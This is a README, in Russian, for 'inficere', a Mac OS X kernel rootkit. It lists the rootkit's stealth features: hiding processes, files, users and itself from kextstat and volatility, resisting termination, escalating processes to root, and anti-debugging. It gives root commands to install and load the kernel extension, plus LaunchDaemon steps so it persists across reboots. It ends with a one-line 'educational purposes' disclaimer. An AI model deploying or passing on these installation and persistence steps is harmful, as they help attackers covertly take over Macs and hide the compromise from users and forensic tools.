inficere

Публичная версия моего руткита для Mac OS X, построенного на основе onyx-the-black-cat от fractalG (https://github.com/gdbinit/onyx-the-black-cat)

Протестировано только на Mountain Lion, 10.8.2 – 10.8.5. Не гарантируется работа на других версиях.

Возможности

• скрытие процессов – скрывает от 'ps PID', 'ps aux', Монитора активности, top и т.д.
• скрытие файлов/каталогов
• скрытие пользователей – скрывает указанного пользователя от 'who', 'w'
• само-скрытие – скрывает сам модуль от kextstat и volatility
• защита от завершения
• PID в UID 0
• анти-отладка (в основном от @osxreverser) – анти-анти-ptrace, патч task_for_pid(0) и т.д.

Инструкции

1. # chmod -R 755 inficere.kext
2. # chown -R root:wheel inficere.kext
3. # mv inficere.kext /System/Library/Extensions/
4. # kextutil /System/Library/Extensions/inficere.kext
5. # ./control

Для сохранения после перезагрузки:

1. # plutil -convert binary1 com.enzo.inficere.plist
2. # mv com.enzo.inficere.plist /Library/LaunchDaemons/com.enzo.inficere.plist
3. # chown root:wheel /Library/LaunchDaemons/com.enzo.inficere.plist
4. # launchctl load -w /Library/LaunchDaemons/com.enzo.inficere.plist

Inficere скроет указанные выше файлы после загрузки.

Хочу подчеркнуть, что сделал это исключительно в образовательных целях.